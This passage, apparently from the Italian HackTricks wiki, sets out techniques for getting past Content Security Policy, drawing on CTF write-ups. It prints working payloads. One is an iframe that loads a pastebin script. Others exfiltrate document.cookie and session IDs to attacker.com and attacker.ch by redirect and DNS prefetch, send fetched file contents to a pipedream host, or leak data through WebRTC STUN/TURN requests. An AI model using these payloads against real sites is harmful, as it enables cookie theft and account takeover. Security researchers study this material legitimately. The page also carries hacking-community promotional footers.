In questo resoconto CTF, CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che impedisce il caricamento di un file JS specifico che, successivamente, tramite inquinamento del prototipo o dom clobbering, consente di abusare di uno script diverso per caricare uno script arbitrario.
È possibile restringere un CSP di un Iframe con l'attributo csp
:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
In questo resoconto CTF, è stato possibile tramite iniezione HTML limitare ulteriormente un CSP in modo che uno script che previene CSTI sia disabilitato e quindi la vulnerabilità diventi sfruttabile.
CSP può essere reso più restrittivo utilizzando tag meta HTML e gli script inline possono essere disabilitati rimuovendo l'entry che consente il loro nonce e abilitando uno specifico script inline tramite sha:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
Esfiltrazione JS con Content-Security-Policy-Report-Only
Se riesci a far sì che il server risponda con l'intestazione Content-Security-Policy-Report-Only
con un valore controllato da te (magari a causa di un CRLF), puoi farlo puntare al tuo server e se avvolgi il contenuto JS che desideri esfiltrare con <script>
e poiché è molto probabile che unsafe-inline
non sia consentito dalla CSP, ciò provocherà un errore CSP e una parte dello script (contenente le informazioni sensibili) verrà inviata al server da Content-Security-Policy-Report-Only
.
Per un esempio controlla questa descrizione di CTF.
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
Divulgazione di informazioni con CSP e Iframe
- Viene creato un
iframe
che punta a un URL (chiamiamolohttps://example.redirect.com
) che è consentito da CSP. - Questo URL viene quindi reindirizzato a un URL segreto (ad esempio,
https://usersecret.example2.com
) che non è consentito da CSP. - Ascoltando l'evento
securitypolicyviolation
, è possibile catturare la proprietàblockedURI
. Questa proprietà rivela il dominio dell'URI bloccato, rivelando il dominio segreto a cui l'URL iniziale è stato reindirizzato.
È interessante notare che browser come Chrome e Firefox hanno comportamenti diversi nella gestione degli iframe rispetto a CSP, portando alla possibile divulgazione di informazioni sensibili a causa di comportamenti non definiti.
Un'altra tecnica coinvolge lo sfruttamento del CSP stesso per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento del CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, è possibile testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Di seguito è riportato un frammento che mostra come il CSP potrebbe essere configurato per facilitare questo metodo:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Monitorando quali richieste vengono bloccate o consentite dal CSP, è possibile restringere i possibili caratteri nel sottodominio segreto, svelando infine l'intero URL.
Entrambi i metodi sfruttano le sfumature dell'implementazione e del comportamento del CSP nei browser, dimostrando come le politiche apparentemente sicure possano involontariamente divulgare informazioni sensibili.
Trucco da qui.
Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!
Hacking Insights
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
Notizie di Hacking in Tempo Reale
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
Ultime Novità
Rimani informato sul lancio delle nuove ricompense per i bug e sugli aggiornamenti cruciali della piattaforma
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!
Tecnologie non sicure per eludere il CSP
Sovraccarico del buffer di risposta PHP
PHP è noto per bufferizzare la risposta a 4096 byte di default. Pertanto, se PHP mostra un avviso, fornendo dati sufficienti negli avvisi, la risposta verrà inviata prima dell'intestazione CSP, causando l'ignoranza dell'intestazione.
Quindi, la tecnica consiste fondamentalmente nel riempire il buffer di risposta con avvisi in modo che l'intestazione CSP non venga inviata.
Idea da questo writeup.
Riscrittura della pagina di errore
Da questo writeup sembra che sia stato possibile eludere una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendone il contenuto.
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOME è una tecnica che sfrutta una XSS (o una XSS altamente limitata) in un endpoint di una pagina per abusare di altri endpoint della stessa origine. Ciò viene fatto caricando l'endpoint vulnerabile da una pagina dell'attaccante e quindi aggiornando la pagina dell'attaccante all'endpoint reale nella stessa origine che si desidera abusare. In questo modo, l'endpoint vulnerabile può utilizzare l'oggetto opener
nel payload per accedere al DOM dell'endpoint reale da abusare. Per ulteriori informazioni, consulta:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
Inoltre, wordpress ha un endpoint JSONP in /wp-json/wp/v2/users/1?_jsonp=data
che riflette i dati inviati in output (con la limitazione di soli lettere, numeri e punti).
Un attaccante può sfruttare tale endpoint per generare un attacco SOME contro WordPress e inserirlo all'interno di <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
nota che questo script verrà caricato perché è consentito da 'self'. Inoltre, e poiché WordPress è installato, un attaccante potrebbe sfruttare l'attacco SOME tramite l'endpoint di callback vulnerabile che bypassa il CSP per concedere più privilegi a un utente, installare un nuovo plugin...
Per ulteriori informazioni su come eseguire questo attacco, consulta https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
Bypass di esfiltrazione CSP
Se è presente un CSP rigoroso che non ti consente di interagire con server esterni, ci sono alcune cose che puoi sempre fare per esfiltrare le informazioni.
Location
Potresti semplicemente aggiornare la location per inviare al server dell'attaccante le informazioni segrete:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
Meta tag
È possibile effettuare un reindirizzamento iniettando un meta tag (questo è solo un reindirizzamento, non verranno rivelati contenuti)
<meta http-equiv="refresh" content="1; http://attacker.com">
Prefetch DNS
Per caricare le pagine più velocemente, i browser risolvono in anticipo i nomi host in indirizzi IP e li memorizzano nella cache per un utilizzo successivo.
Puoi indicare a un browser di risolvere in anticipo un nome host con: <link reol="dns-prefetch" href="something.com">
Potresti sfruttare questo comportamento per esfiltrare informazioni sensibili tramite richieste DNS:
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
Un altro modo:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Per evitare che ciò accada, il server può inviare l'intestazione HTTP:
X-DNS-Prefetch-Control: off
{% hint style="info" %} Apparentemente, questa tecnica non funziona nei browser headless (bot) {% endhint %}
WebRTC
Su diverse pagine si può leggere che WebRTC non controlla la politica connect-src
del CSP.
In realtà, è possibile leakare informazioni utilizzando una richiesta DNS. Date un'occhiata a questo codice:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
Un'altra opzione:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
Verifica delle politiche CSP online
Creazione automatica di CSP
https://csper.io/docs/generating-content-security-policy
Riferimenti
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!
Hacking Insights
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
Notizie di Hacking in Tempo Reale
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
Ultime Novità
Rimani informato sul lancio delle nuove taglie di bug e sugli aggiornamenti cruciali della piattaforma
Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e ai HackTricks Cloud github repos.